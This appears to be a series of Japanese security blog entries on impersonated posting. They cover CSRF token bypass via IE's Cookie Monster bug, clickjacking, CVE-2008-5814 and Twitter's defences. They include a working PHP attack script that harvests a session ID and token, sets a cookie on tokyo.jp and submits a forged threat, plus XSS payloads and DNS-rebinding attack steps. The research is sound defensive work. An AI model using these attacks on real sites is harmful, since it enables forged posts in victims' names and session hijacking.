記事の趣旨は、昨年無実の市民のパソコンからCSRFによる犯行予告が横浜市のサイトに書き込まれたことを受けて、サイト側でCSRF対策をして、なりすまし書き込みができないようにしようというものです。なりすましの犯行予告には、CSRFのほか、マルウェアを用いる方法、CSRF以外のWebサイトへの攻撃手法もあるので、CSRF対策だけで十分というわけではありませんが、現実に悪用されたCSRFの対策は、できるだけ実施した方がよいと考えます。

ここで、対策例のスクリプトを以下に示します。これはCSRF対策としては標準的な方法で、乱数により生成したトークンをセッション変数とhiddenパラメータにセットして、投稿処理側で両者を比較することで、CSRF攻撃に対処しています。

以下は入力フォームです。デモ環境はこちら
<?php // form.php 入力フォーム
session_start();
// トークンがセッションになければトークンを生成してセッションに保存
if (! isset($_SESSION['token'])) {
$rand = file_get_contents('/dev/urandom', false, NULL, 0, 24);
$token = base64_encode($rand);
$_SESSION['token'] = $token;
} else {
$token = $_SESSION['token'];
}
?>
<body>
投稿して下さい
<form action="post.php" method="POST">
<input name=body>
<input type="hidden" name="token" value="<?php echo htmlspecialchars($token); ?>">
<input type=submit>
</form>
</body>
以下は、入力された投稿を書き込む処理です。処理を簡単にするため、実際には書き込みはせず、書き込み内容を表示しています。
<?php post.php 投稿処理
session_start();
// トークンをセッション変数とPOSTパラメータから取得
$s_token = @$_SESSION['token'];
$p_token = @$_POST['token'];
if (! isset($s_token) || $p_token !== $s_token) {
// トークンが空か、一致していなければエラー
die('正規の画面からご使用ください');
}
?>
<body>
投稿されました:<?php echo htmlspecialchars($_POST['body']); ?>
<?php var_dump($_COOKIE); ?>
</body>
CSRF攻撃の罠を用意しましたが、対策が施されているので、「 正規の画面からご使用ください」と表示されます。

クッキーモンスターバグとは

ここでクッキーモンスターバグについて説明します。
クッキーのデフォルト動作では、クッキーをセットしたホスト(FQDN)にのみクッキーが送信されますが、domain属性を指定することにより、クッキー送信するドメインを広げることができます。たとえば、以下のようにdomain=example.jpを指定すると、example.jpのサブドメインのホスト、たとえば、www.example.jpやsub1.example.jpにもfoo=barというクッキーが送信されます。
Set-Cookie: foo=bar; domain=example.jp
それでは、domain=jpと指定すると、JPドメイン名を持つサイト全てにそのクッキーが送信されるかというと、そうではありません。セキュリティ上の理由から、クッキー設定時のdomain指定が制限されているからです。
しかし、ブラウザによっては、この制限が期待した通りにならない場合があります。有名な例としては、地域型JPドメイン名と都道府県型JPドメイン名において、Internet Explorerが正しくdomainの制限を掛けてないことが知られています。この現象をクッキーモンスタバグ(Cookie Monster Bug)と呼びます。

地域型JPドメイン名の例1: city.bunkyo.tokyo.jp (東京都文京区のドメイン名)
地域型JPドメイン名の例2: tokumaru.bunkyo.tokyo.jp (筆者の地域型JPドメイン名)
都道府県型JPドメイン名の例: kawaguchi.tokyo.jp (東京都川口区…ではなく筆者がネタ試験用に取得したドメイン名)

上記のいずれにおいても、IEでは、domain=tokyo.jp という指定が有効になります。その結果、例えば、kawaguchi.tokyo.jp上のサイトに罠を仕掛けて、PHPSESSIDという名前のクッキーをセットすると、tokyo.jp以下の地域型JPドメイン名と都道府県型JPドメイン名全てに有効なクッキーを作れてしまうことになります。これは、セッションIDの固定化攻撃(Session Fixation Attack)を受けやすくなることを意味します。

ログイン処理後のセッションIDの固定化攻撃は簡単に対策できる

とはいえ、地域型JPドメイン名と都道府県JPドメイン名のサイトが、ただちにセッションIDの固定化攻撃を受けて、なりすましされるというわけではありません。セッションIDの固定化攻撃には有効な対策があり、ログイン直後にセッションIDを振り直すだけで、なりすましを防ぐことができます。このため、地域型JPドメイン名と都道府県JPドメイン名は、Webセキュリティの観点からは「できれば避けたほうが良い」というレベルであり、「絶対に使ってはいけない」というものではありません。

ログイン前のセッションIDの固定化攻撃は対策が難しい

ログイン前セッションIDの固定化攻撃というものがあります。文字通り、ログイン前の状態でセッションIDの固定化攻撃をするもので、2006年10月に高木浩光氏がブログ記事「ログイン前Session Fixationをどうするか」で解説されています。詳しくはこの記事をお読みいただくとして、高木浩光氏は、以下の二種類の対策を検討されています。
  • ページごとにセッションIDを振り直す
  • セッションではなくhiddenパラメータにより入力値を引き回す
このうち、高木氏はhiddenパラメータを推奨されています。私も一般論としてはこれに同意しますが、CSRF対策では、この方法は使えません。これについて以下説明します。

CSRFとセッションIDの固定化攻撃

通常のセッションIDの固定化攻撃は以下の流れによります。
  • 攻撃者はログイン前のセッションIDを用意して、クッキーモンスターバグなどにより、これを被害者のブラウザにセットする
  • 被害者が攻撃対象サイトでログインする
  • 攻撃者は、元のセッションIDを「知っている」ので、ログイン状態のセッションを盗むことができる
ところが、冒頭に説明した「CSRF対策」の場合は、以下の手順が成立してしまいます。
  • 攻撃者は入力フォーム(form.php)を閲覧する
  • この状態でクッキーの値とhiddenのトークンの値を調べる
  • 罠を用意する。前項で調べたクッキーはクッキーモンスターバグで被害者のブラウザにセットして、hiddenのトークンは通常のCSRFの手法により送信する
  • クッキーもトークンも正規のものなので、CSRFチェックを回避して、被害者のブラウザから投稿がされる
上記が成立することを現実の地域型JPドメイン名と都道府県型JPドメイン名のサイトを用いて確認しました。以下に、攻撃スクリプトを示します。
<?php
// cURLの初期化
$ch = curl_init('http://tokumaru.bunkyo.tokyo.jp/form.php');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); // 結果を文字列で取得
curl_setopt($ch, CURLOPT_HEADER, true); // ヘッダも取得
// User-Agentを被害者のものに合わせる
curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
$str = curl_exec($ch); // HTTPリクエスト要求
curl_close($ch);
// セッションIDとトークンを切り出し
preg_match('/PHPSESSID=([a-z0-9]+);/i', $str, $match);
$sessid = $match[1];
preg_match('/name="token" value="([=+\/a-z0-9]+)"/i', $str, $match);
$token = $match[1];
// 被害者のブラウザにセッションIDを domain=tokyo.jp でセット
setcookie('PHPSESSID', $sessid, 0, '/', 'tokyo.jp');
?>
<body>
<form action="http://tokumaru.bunkyo.tokyo.jp/post.php" method="POST">
<input name="body" value="○○小学校を襲撃します"><br>
<input name="token" value="<?php echo $token; ?>"><br>
<input type="submit" value="ボタンを押して下さい"><br>
PHPSESSID = <?php echo $sessid; ?>
</form>
</body>
このスクリプトを動かす環境を用意しました。こちらから、IEで試して下さい。

認証がある場合のCSRF対策とはどこが違うか

ここで疑問が生じます。私が紹介したCSRF対策のスクリプトは、標準的な対策手法を用いているはずでした。それなのに、なぜ、対策を回避されたのでしょうか。それとも、クッキーモンスターバグがあると、常にCSRF対策まで回避されるのでしょうか?

そうではありません。通常のCSRF対策は、被害者のログインアカウントの悪用を避ける事が目的です。例えば、誰かが私にCSRF攻撃をしかけ、私のtwitterアカウントでハレンチな書き込みをさせられると、私は大変困ります。私のtwitterアカウントは公開されているので、「徳丸が変なことをつぶやいた」となるからです。
しかし、ログイン機能のあるサイトでも、地域型JPドメイン名や都道府県型JPドメイン名の上のサイトなら以下の手順で「IPアドレスを偽装」することならば可能です。
  • 攻撃者は攻撃対象サイトに自分のアカウントでログインする
  • この状態でクッキーの値とhiddenのトークンの値を調べる
  • 罠を用意する。前項で調べたクッキーはクッキーモンスターバグで被害者のブラウザにセットして、hiddenのトークンは通常のCSRFの手法により送信する
  • クッキーもトークンも正規のものなので、CSRFチェックを回避して、被害者のブラウザから投稿がされる
最初のステップ以外は、ログインがない場合と全て同じです。この攻撃の場合、被害者は、攻撃者の用意したアカウント上で投稿をすることになりますが、投稿時のIPアドレスは被害者の端末のものです。アカウントから「容疑者」を割り出せない場合、捜査当局はやはり、「投稿時のIPアドレス」を用いて捜査する可能性が高いと予想します。

すなわち、クッキーモンスターバグがある条件では、トークンを用いたCSRF対策をしていても、「IPアドレスを偽装したなりすまし犯行予告」は防げないことになります。その条件とは、主に以下の両方が成立する場合です。
  • 地域型JPドメイン名または都道府県型JPドメイン名上にサイトがある
  • 利用者がIEを使っている

FAQ

Q1: 入力フォームでセッションIDを振り直せばよいのでは?
A1: ダメです。攻撃者が取得するクッキーは、振り直された後のクッキーです。振りなおしても効果はありません。

Q2: ページごとにセッションIDを振りなおしてもダメ?
A2: Q1と同じ理由でダメです。

Q3: ページ毎にセッションIDを振り直す方式は高木浩光氏が(一応)大丈夫と言っているのに、なぜダメなの?
A3: 通常のセッションIDの固定化攻撃は、被害者がログインなどの操作をした後に、そのセッションIDを使って攻撃者がブラウザするものです。今回説明した方法は、攻撃者がお膳立てしたセッションのクッキーを用いて、リクエスト一発で攻撃が成立するところが違います。

Q4: リクエスト一発ですまないように、途中で確認画面をはさんでもダメ?
A4: 確認画面まで攻撃者が遷移した後に、前記の攻撃をしかけるので、結局「リクエスト一発」です。

Q5: CAPTCHAによるCSRF攻撃対策でもだめ?
A5: 攻撃者はCAPTCHAを解いて、その正答をPOSTリクエストに含めることができます。正答はセッションの保存されていますが、クッキーモンスターバグにより、攻撃者と同じ「CAPTCHAの正答」が被害者のブラウザに再現されるため、CAPTCHAでも防げません。※分かりにくかったので加筆修正しましたCAPTCHAの状態はセッションに記憶するので、結局同じです

※追記その2
twitterで@nihen さんからご指摘いただきました。現在の「罠」は全自動ですが、CAPTCHAがあると手動の部分が入るので、攻撃はしにくくなり、攻撃の成功確率を下げる工夫も可能です。したがって、CAPTCHAは、完全とは言えないにしても、攻撃抑止の効果はあります。


Q6: PHPのSession Adoptionのせいではないのか?
A6: 攻撃の流れで正規のセッションIDを取得して使うので、Session Adoptionは関係ありません

Q7: ワンタイムトークンにしたら防げないの?
A7: トークンは別のところで使っていないので、ワンタイムトークンでも同じです。強いて言えば、「2番目に罠に掛かった人」には攻撃は成立しなくなりますが、攻撃者にとってはかえって好都合と言えます。同じ内容を何人もが書き込んでいると不自然だからです。

Q8: Refererによる対策はダメ?
A8: Refererによる対策は有効です。参考:リファラとCSRF対策の話

Q9: 今回の事件の現場となった横浜市「市民からの提案」サイトにもこの問題があるの?
A9: 横浜市のサイトは.LG.JPドメイン名なので、クッキーモンスターバグがありません。また、トークンではなく、Refererによる対策を施しているようです。従って、ここで紹介している問題には該当しません。

では、どうすればよいのか

地方公共団体のWebサイトの多くが地域型JPドメイン名上にあるので、上記に該当するサイトは多そうです。
以下、対策に役立つ可能性のあるアイデアを列記します。
  • RefererによるCSRF対策をする
  • 地域型JPドメイン名からLG.JPドメイン名に移行する
  • トークン生成と書き込みページのリモートIPアドレスを比較して、違っていたらエラーにする
  • 書き込み実行時のIPアドレスに加えて、トークン生成時のIPアドレスも記録する
  • 犯行予告など無視する
  • IPアドレスを一切記録しない
  • 例えば、IEを避ける(参考: 例えば、PHPを避ける
  • Microsoft社に運動してクッキーモンスターバグを修正してもらう
このうち、RefererによるCSRF対策は、Refererをオフにしている利用者が投稿機能を利用できなくなるという副作用がありますが、地方公共団体などに限れば、許容出来るかもしれません。たとえば普段はOperaでRefererをオフにしてブラウズしている利用者にも、市役所等に投稿する場合などに限り別のブラウザ(例えばGoogle Chrome)を使ってもらう、などです。しかし、それを言うなら、普段IEを使っている利用者に、市役所のサイトに投稿する時だけ別のブラウザを使ってもらってもよいことになります(この場合は、IEからの書き込みをチェックしてエラーにする必要があります)。

トークン生成と書き込みページのリモートIPアドレス(ブラウザのIPアドレス)を比較して、違っていたらエラーにするという方法は、CSRF攻撃の際に、攻撃者が被害者とは別のIPアドレスで投稿フォームを参照する性質を利用したものです。攻撃者が、被害者と同じIPアドレスを使えるのであれば、わざわざCSRFを使う必要はありません。この方法の副作用は、通常の利用であってもリモートIPアドレスが変化する場合があり、投稿を拒否されてしまうことです。一般的には、許容されない方法と言えます。

トークン生成時のIPアドレスを記録する(投稿とトークン生成時のIPアドレスを紐付けて保存する)という方法は、副作用が少なく実現も容易ですが、なりすましの犯行予告自体はできてしまうとろこが悩ましいところです。

このようなさまざまな「対策」には副作用もあるので、長期的には、地方公共団体等は地域型JPドメイン名から、LG.JPドメイン名に移行することが望ましいと考えます。

まとめ

なりすまし犯行予告に備えて、投稿サイトにCSRF対策を施すケースが多くなると考えられますが、地域型JPドメイン名とIEの組み合わせなど、クッキーモンスターバグのある状態では、トークンによる標準的な対策が回避されることを示しました。
この攻撃は、攻撃者が投稿ボタンをクリックした際に送信されるリクエストを、被害者のブラウザ上から送信させるものです。通常のCSRFでは、クエリ文字列、POSTパラメータを攻撃者が自由に設定できますが、クッキーモンスターバグがあると、攻撃者はクッキーも被害者のブラウザ上で設定できます。つまり、クエリ文字列、POSTパラメータ、クッキー *以外の* 方法で、通常のリクエストと攻撃を区別しなければなりません。この目的で使えるリクエストヘッダは、Refererだけだと考えますが、Refererを使う対策には副作用もあります。リモートIPアドレスも使えますが、やはり副作用があります。(2013/3/1 11:00 このパラグラフ追記)
このエントリでは、問題の報告と対策案の大まかな検討に止めましたので、今後の活発な議論を期待します。

IPAから「クリックジャッキング」に関するレポート出ました

$
0
0
Webアプリケーションのセキュリティの分野で「新しい攻撃手法」は実はそれほど多くないのですが、比較的新しく対応が求められているものとしてクリックジャッキングがあります。クリックジャッキングは、CSRFと同じように「Webアプリケーションのサーバー側機能」を利用者(被害者)に実行させる手法です。CSRFは、当該機能を実行するHTTPリクエストを送信させる罠を使いますが、クリックジャッキングの方は、iframe等に当該機能を呼び出す画面を表示しておき、利用者(被害者)に実行ボタンを押させる(=クリックジャック)手法です。クリックジャッキングに関しては従来詳しい解説がありませんでしたが、この3月26日にIPAから「クリックジャッキング」に関するレポートが公開されました。
このレポートから、クリックジャッキングのイメージを示す図4を引用します。
サイトAが攻撃対象のサイト、悪意のあるページは罠になります。これらのページはiframe等に入れられ、さらにサイトAはCSSにより透明に設定され、利用者には見えません。この「見えない攻撃対象のページ」をOHPフィルムのように罠ページに重ねたものが上図のイメージです。
このままでは攻撃は成立せず、利用者(被害者)にラジオボタンと「情報更新」ボタンをクリックしてもらう必要があります。巧妙な誘導により、上図の①と②をクリックさせる手法がクリックジャッキングです。利用者は罠サイトの①と②をクリックしているつもりですが、実際にクリックされるのは手前側に配置された(見えない)サイトAのボタンです。これにより、利用者は意図しない画面操作をさせられてしまいます。

さて、クリックジャッキングは新しいと言っても2008年のOWASPでの発表で、専門家には広く知られるようになっていましたが、当時は確実な対策方法がありませんでした。2009年にMicrosoftからX-FRAME-OPTIONSというレスポンスヘッダを用いる方法が提唱されるとともにIE8に実装され、その後主要なブラウザ(Firefox、Google Chrome、Safari、Opera)がX-FRAME-OPTIONSを採用するようになり、確実な対策が取れるようになりました(もっとも、「本家」MicrosoftのIE6とIE7がX-FRAME-OPTIONSに対応していないという問題があります)。以下に、IPAレポートの表1を引用します。


X-FRAME-OPTIONSによるクリックジャッキング対策は、ブラウザ側の対応だけではなく、Webアプリケーション側で適切なX-FRAME-OPTIONSヘッダを送信する必要があります。クリックジャッキングの知名度はまだまだ低く、IPAの「クリックジャッキングに関するレポート」では、この調査結果を載せています。日本人向けに提供されている56のWebサイトを調べた結果、わずか3サイトのみがX-FRAME-OPTIONSヘッダを用いていたという結果です。以下に同レポートから図5を引用します。


IPAは調査対象のサイト名を公開していませんが、例えばtwitterはX-FRAME-OPTIONSを送信している数少ないサイトの一つです。
最近もtwitterで犯行予告をした青年が逮捕されるという事件がありましたが、なりすましで犯行予告されると大変困ります。twitterはCSRFに加えて、クリックジャッキングにも対策しているということです。

ここで、「利用者はボタンをクリックするだけなのに犯行予告までできてしまうの?」という疑問が生じるかもしれませんね。でも、(対策していないと)できてしまうのです。twitterには、サイト側が用意した発言を利用者に求める機能があります。たとえば、このリンクをクリックすると、以下のような表示になります。


このままではツイートまではしない(ツイートしてしまったらCSRF脆弱性です)のですが、利用者が「ツイート」というボタンをクリックすると、上記テキストが、ボタンをクリックした利用者の発言としてツイートされます。クリックジャッキングにより、これを勝手にやられると困ります。
しかし、twitterはX-FRAME-OPTIONSヘッダを送信しているので、上記をiframeに入れて罠を作ろうとすると、下記のような表示になります(IE9の例)。


これにより、なりすまし投稿を防いでいるわけですね。

さて、IPAのクリックジャッキングに関するレポートには、X-FRAME-OPTIONSの詳しい説明の他、CSP(Content Security Policy)や、JavaScriptによる対策方法も示しています。たとえば、CSPでクリックジャッキングを防ぐ例としては以下が紹介されています(Firefox向けの書き方)。
X-Content-Security-Policy: allow 'self'; frame-ancestors *.ipa.go.jp *.meti.go.jp
上記は、このヘッダを送信しているページは、ipa.go.jpとmeti.go.jp(経産省)のサブドメインのiframeにのみ入れることができるという意味です。従って、罠サイトのiframeに入れようとすると、前述のようなエラーになるはずです…
ところが実際には、期待通りには動きません。これはFirefoxの既知の脆弱性のようで、最新版
Firefox19.0.2ではCSPのホスト式にワイルドカードを指定した場合、式の内容に関係なく「全てのホストが対象」となってしまいます。すなわち、前述の例はIPAと経産省だけでなく、世界中のどのホストのiframeにも入れていいよ、という動作になります…これは酷い脆弱性ですが、それほど話題になっていないのは、Content Security Policyがまだ普及していないからだと思います。

ということは分かっていたのですが、Firefox 20βでは修正されているようですし、CSPによる方法は残念ながらクリックジャッキング対策の(当面の)本命ではないので、冊子ではFirefoxの脆弱性については触れていません。なぜ本命でないかは、IPAの冊子をお読みください。

なお、徳丸はIPA非常勤研究員として、同冊子のレビュアーという形で参画していますが、このエントリは個人の見解として書いているものであり、IPAとしての見解ではないことを付記いたします。

CVE-2008-5814を巡る冒険

$
0
0
脆弱性情報を見ていると、たまに(しばしば)詳細の不明なものがあります。
先日脆弱性情報を調べていたら、JVN#50327700(CVE-2008-5814)PHP におけるクロスサイトスクリプティングの脆弱性が目にとまりました。CVSS値が2.6なので危険な脆弱性ではなさそうですが、詳細が分からないと気持ちが悪いですね。このエントリでは、CVE-2008-5814について調べた結果を報告します。

JVN iPediaの説明には以下のように書かれています。
概要
PHP には、クロスサイトスクリプティングの脆弱性が存在します。
影響を受けるシステム
PHP 5.2.7 およびそれ以前
PHP の設定で display_errors=off である場合は、この問題の影響を受けません。
謝辞
この脆弱性情報は、情報セキュリティ早期警戒パートナーシップに基づき下記の方が IPA に報告し、JPCERT/CC が開発者との調整を行いました。
報告者:インターナショナル・ネットワーク・セキュリティ(株) 佐名木 智貴 氏
佐名木さんの報告なのですね。
display_errors=offの場合は影響を受けないというのが救いです。本番環境でdisplay_errorsが有効というのは「あり得ない」状態なので、対処としては、まずdisplay_errorsを確実にoffにした上で、対策済みのバージョンのPHPを導入することです。PHP5.3以降は問題ないということなので、現在メンテナンスされているバージョンのPHPでは問題ありません。

この脆弱性、発表当時(2008年12月19日)から謎という点が話題になったようで、例えば以下のような記事があります。
■ JVN#50327700 PHP におけるクロスサイトスクリプティングの脆弱性がよくわからない件について
PHP の設定で display_errors=off である場合は、この問題の影響を受けません。
の時点でまぁ自分の手元にはほぼ影響ないんですが、該当の記事からのリンク先であるPHPのChangeLogにはそれっぽいのがかいてなくて非常に気持ち悪い思いをしてるわけです。
こまってWassrでつぶやいてみたらますがたさんよりこれじゃないかみたいなレスをもらったけど、Cookieまわりっぽいので、CookieってXSSないとそもそもかきかえられないよなぁ(いや、レンタルサーバとかだといろいろあるけえど)とか悩んでるわけです。で、もし詳細ご存知の人いたら教えてください。
http://d.hatena.ne.jp/cocoiti/20081223より引用
CVEではどうなっているでしょうか。MITREもNVDも同じで、以下のようにあります。
Cross-site scripting (XSS) vulnerability in PHP, possibly 5.2.7 and earlier, when display_errors is enabled, allows remote attackers to inject arbitrary web script or HTML via unspecified vectors. NOTE: because of the lack of details, it is unclear whether this is related to CVE-2006-0208.
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5814
攻撃経路不明だし、いろいろ情報不足でよくわかんねーよ、という感じですね。
そこで、MITREやNVDからリンクされているサイトをたどったり、ググったりして以下のサイトを見つけました。

http://anonscm.debian.org/gitweb/?p=pkg-php/php.git;a=commitdiff;h=a71a80d0465f4e82210559c51217f03057c7e028より引用

これだと分かりますね。PHPのソースに戻って確認すると、上記の改修はPHP5.2.6からPHP5.2.7への変更として実施されています。すなわち、影響を受けるシステムにPHP5.2.7以前となっているのは誤りで、PHP5.2.6以前が正しいようです。
具体的には、Cookieの名前あるいは値にCookieとして使えない文字(空白、カンマ、セミコロン、水平タブ、垂直タブ、フォームフィード、改行、復帰)があった場合に、PHP-5.2.6以前だと、その文字列を「そのまま」エラーとして表示しているのです(下記)。

  • Cookieの名前の場合は、setcookieまたはsetrawcookieを使っている場合
  • Cookieの値の場合は、setrawcookieを使っている場合

このため、以下のコードを実行すると 2, 3, 4 がalertとして表示されます。1の場合は、値がパーセントエンコーディングされるため禁止文字は出現せずエラーになりません。
<?php
  setcookie('a', '<script>alert(1);</script>');
  setrawcookie('a', '<script>alert(2);</script>');
  setcookie('<script>alert(3);</script>', 'a');
  setrawcookie('<script>alert(4);</script>', 'a');
この脆弱性を悪用するためには、Cookieの名前か値を外部からコントロールする必要がありますが、通常のアプリケーションではCookieの名前をコントロールすることはできないので、setrawcookieを使って、外部からの入力をCookieに出力している場合が問題になると考えられます。
脆弱なコードの例を以下に示します。display_errors=Onが前提です。
<?php
  setrawcookie('a', $_GET['x']);
以下のように呼び出します。
http://example.jp/x.php?x=<script>alert(1);</script>

実行例は以下の通りです。IEやGoogle ChromeだとXSSフィルタによりJavaScriptは実行されないので、Firefoxにて試しています。


さて、ようやくCVE-2008-5814による攻撃を試すことができました。脆弱性の影響を受ける条件は以下となります。
  • PHP5.2.6以下を使っている
  • display_errorsが有効
  • 以下のいずれか
    • setrawcookieにより外部からコントロールできる文字例をCookieの値として出力している
    • setcookieかsetrawcookieにより外部からコントロールできる文字例をCookieの名前として出力している
対処は下記となります。全部実施を推奨します。
  • PHPの最新の安定版を使う(必須)
  • display_errorsを無効にする(必須)
  • Cookieの出力にはsetcookie関数を使う
  • Cookieの名前は外部から指定できなくする
さて、display_errorが仮に有効になっている場合、最新のPHPを使っていてもクロスサイト・スクリプティング(XSS)になるケースはあります。これについては別途紹介します。

twitterに学ぶなりすまし投稿対策

$
0
0
先日もtwitter上の犯行予告により20歳の青年が逮捕されたようですが、なりすましによる誤認逮捕ではなかったのか気になるところです。そこで、twitterが、なりすまし投稿をどの程度対策しているかを調べてみることにしました。twitterの安全性を確認することが目的というよりも、twitterが実施している対策を知ることにより、皆様のWebサイトを安全にする参考にしていただければと思います。

今回調べた「なりすまし投稿」の手法は下記の通りです。
  • クロスサイト・リクエスト・フォージェリ(CSRF)
  • クロスサイトスクリプティング(XSS)
  • HTTPヘッダーインジェクション
  • クリックジャッキング
  • DNSリバインディング
  • クッキーモンスターバグ
このうち、上の5つの解説は拙稿「“誤認逮捕”を防ぐWebセキュリティ強化術」、最後のクッキーモンスターバグについては、過去のエントリ「クッキーモンスターバグがあると、IPアドレス偽装防止のCSRF対策が回避される」をご覧下さい。
それでは、はじめます。

CSRF

CSRF対策として、twitterは標準的なトークンによる対策を採用しています。以下は、書き込み時にPOSTされるデータの例です。大文字のXは伏せ字です。
authenticity_token=ee09XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX63faec&place_id=&status=【投稿内容】
authenticity_tokenがトークンですね。ワンタイムではない、セッション限りのトークンを使っているようですが、これで問題ありません。

試みに、authenticity_tokenを一文字だけ改変してツイートしてみると、以下のようにエラーになります(Ajax/JSONのリクエストなので、エラー表示は呼び出し側でします)。
HTTP/1.1 403 Forbidden
【以下略】
ということで、CSRFについては対策されています。

XSS

twitterはXSSの悪用事例が2009年(JS.Twettir)と2010年にあるので、XSS攻撃を完璧に防御しきっているわけではありませんが、世界中の著名なセキュリティ研究者やバグハンターがtwitterの脆弱性を調べ、twitter側もそれを改修していので、現在では、未知のXSSを見つけるのは難しいと思います。
twitter社は年度毎に脆弱性報告の貢献者を表彰しており、このページから見ることができます。日本人も、小菅さん、kinugawaさん、malaさん、はせがわようすけさんなど、日本の錚々たるバグハンターが名を連ねているので、彼らが見つけていないXSS脆弱性を探して犯行予告なりすましに使うのは相当困難ではないか思います。

HTTPヘッダーインジェクション

HTTPヘッダーインジェクションについてはきちんと調べていないのですが、HTTPヘッダーインジェクション脆弱性が入る局面は、HTTPレスポンスヘッダ(Set-Cookie、Locationその他)の出力内容に外部からコントロールできる値を含む場合であり、twitterのレスポンスには、そのような箇所が見あたりません。おそらく大丈夫だろうということと、仮にHTTPヘッダーインジェクション脆弱性がtwitterにあれば、先のバグハンター達が見つけてくれるでしょう(他力本願)。

クリックジャッキング

先のエントリ「IPAから「クリックジャッキング」に関するレポート出ました」にて、X-FRAME-OPTIONSヘッダを出力している数少ないサイトの1つがtwitterであることを説明しました。このため、利用者がモダンなブラウザを使う限り、クリックジャッキングには対策済みということになります。
問題は、利用者がIE6やIE7を使っている場合です。これらはまだメンテナンスされているブラウザですが、X-FRAME-OPTIONSには対応していません。そこで、twitterがIE6/IE7に対して、クリックジャッキング対策をどのようにしているのか、あるいはしていないのかを調べてみました。
まず前提として、現在IE6/IE7でtwitterを利用しようとすると、mobile.twitter.comにリダイレクトされます。


このため、IE6/IE7ユーザ向けの罠としては、mobile.twitter.com用の罠に変更する必要があります。これをIE7で閲覧すると下記の状態になります。


後は、これをクリックジャッキング用の罠のiframeに入れてやる訳です。IE7はX-FRAME-OPTIONSに対応していないので大丈夫だろうと試してみると…以下のようになります。


twitterにログインした状態なのに、iframeの中はログイン画面になっていますね。これは、twitterがP3Pコンパクトポリシーを出力していないので、iframeの中のページはCookie(第三者Cookie)の送信がブロックされているためです。ブラウザのステータスバー中央に目のアイコンに停止マークがついていますが、ここをダブルクリックして詳細を確認しましょう。



たしかに、P3Pコンパクトポリシーが送信されていないために、罠サイトからは第三者CookieとなるtwitterのCookieがブロックされています。大丈夫のようですね…
でも、絶対に大丈夫でしょうか。IEの設定を変更している場合は、P3Pコンパクトポリシーがなくても第三者Cookieを送信する可能性があります。
その設定は、インターネットオプションのプライバシータブで変更可能です。まず、IEのデフォルトを確認しましょう。



デフォルトではCookieの設定は「中」で、「コンパクトなプライバシーポリシー(注:P3Pコンパクトポリシーのこと)のないサードパーティのCookieをブロックします」とあります。これが効いている訳ですね。
ここで、好ましくはありませんが実験のため、プライバシーの設定を最低レベルにしてみましょう(試す場合は、試験環境で実行するか、元に戻すのを忘れずに)。


これで、Cookieの制約はなくなりましたので、先ほどの罠をもう一度閲覧してみましょう。


あれあれ、アドレスバーに注目ください。iframeに入れたはずなのに、iframeを飛び出してしまいました。これでは、騙される人はいなさそうです。どうもJavaScriptによる対策が入っているようですね。調べてみると、以下のコードがあります。
if (window.top !== window.self) {document.write = "";window.top.location = window.self.location; // 以下略
これは、IPAの『「クリックジャッキング」に関するレポート』にも紹介されているコードで、iframeなどに入れられていないかチェックして、入れられている場合は、自身をトップレベルに表示させるようにするものです。但し、この種の手法の回避策も研究されているため、これだけで完全な対応というわけではありません。だからこそ、X-FRAME-OPTIONSという機能追加が必要であったわけですが、詳しくはIPAの『「クリックジャッキング」に関するレポート』を参照下さい。

ここでは、元々利用者がJavaScriptを無効にしていたというシナリオで、罠のサイトを閲覧してみます。


ようやく、twitterの画面をiframeに入れることができました。あとは、今は見ているtwitterの表示を「透明にして」、その下に、利用者が思わずクリックしたくなる罠の表示を入れるだけです。

ここまでを振り返って、IEで、twitterの画面をiframeに入れるために何をしなければならなかったを振り返って見ると、以下の通りです。
  • 古いバージョンのIE(IE7以前)を使う
  • プライバシーの設定を最低(すべてのCookieを受け入れ、送信)
  • JavaScriptを無効にする
これは率直に言って、利用者側の自業自得感が相当ありますね。
立場を変えて、twitterがどのような対策をしたかを以下にまとめます。
  • HTTPレスポンスヘッダ x-frame-options: SAMEORIGIN を送信
  • P3Pコンパクトポリシーを送信しない
  • JavaScriptによるクリックジャッキング対策コード
現時点の最高レベルの「なりすまし犯行予告対策」をしたいWebサイトは、上記を参考にすると良いでしょう。

DNSリバインディング

一般的にDNSリバインディング攻撃でも「なりすまし犯行予告」は可能ですが、DNSリバインディングでは利用者のセッションをハイジャックすることはできません。その理由は、DNSリバインディング攻撃の場合、利用者な罠のドメイン名で攻撃対象サイトをアクセスするため、利用者のセッションは有効にならないためです。
それでは、なりすましできないじゃないかと思ってしまいますが、なりすまし犯行予告で重要な「なりすまし」要素はリモートIPアドレスであって、利用者のアカウントではありません。この前提であれば、DNSリバインディング攻撃が使えます。その手順は以下の通りです。
  1. 攻撃者は自分の用意したアカウントでログインしてCookieを調べる
  2. 攻撃者はDNSリバインディングの罠を用意する。罠を閲覧した利用者のブラウザに対して、前項で調べたCookieをセットする
  3. 利用者からの閲覧があった直後に、罠のドメイン名に対するAレコードを書き換え、攻撃対象のIPアドレスをセットする。TTLは元々短い値(1秒など)とする
  4. 利用者が閲覧した罠から、時間をおいて(10秒~数分)罠のドメイン名にXMLHttpRequestでアクセスする。罠のドメイン名は攻撃対象サイトのIPを指しているので、実際には攻撃対象にアクセスする
  5. 利用者のブラウザは、攻撃者の用意したアカウントで攻撃対象サイトにログインした状態になる
  6. XMLHttpRequestでCSRF対策のトークンを調べ、正しいトークンをセットして「なりすまし投稿」を行う(twitterの場合であれば、セッション毎に固定のトークンなので、攻撃者があらかじめてトークンを調べて罠にセットしてもよい)
この、DNSリバインディング + セッションフィクセイションのような攻撃については、過去に「誤報訂正:『2010年に最も警戒すべきセキュリティ脅威は「DNSリバインディング」』報道について」で取り上げています。当時は、『なんとなくトホホ感の漂う攻撃手順だ。ホンマカイナ。』と批評した手順ですが、思わぬところで利用価値(?)が出てきました。

さて、DNSリバインディングへの対策ですが、前述の通り攻撃対象サイトには「罠のドメイン名」がHostヘッダに入ります。XMLHttpRequestではHostヘッダは変更できないため、HostヘッダのチェックでDNSリバインディング対策できます。
それでは、twitterはどうでしょうか。自分の持つドメイン名に twitter.comのIPアドレスをセットしてアクセスしてみると下記の応答になります。
HTTP/1.0 404 Not Found
date: Sun, 31 Mar 2013 15:34:54 UTC
server: tfe
strict-transport-security: max-age=631138519
Content-Length: 0
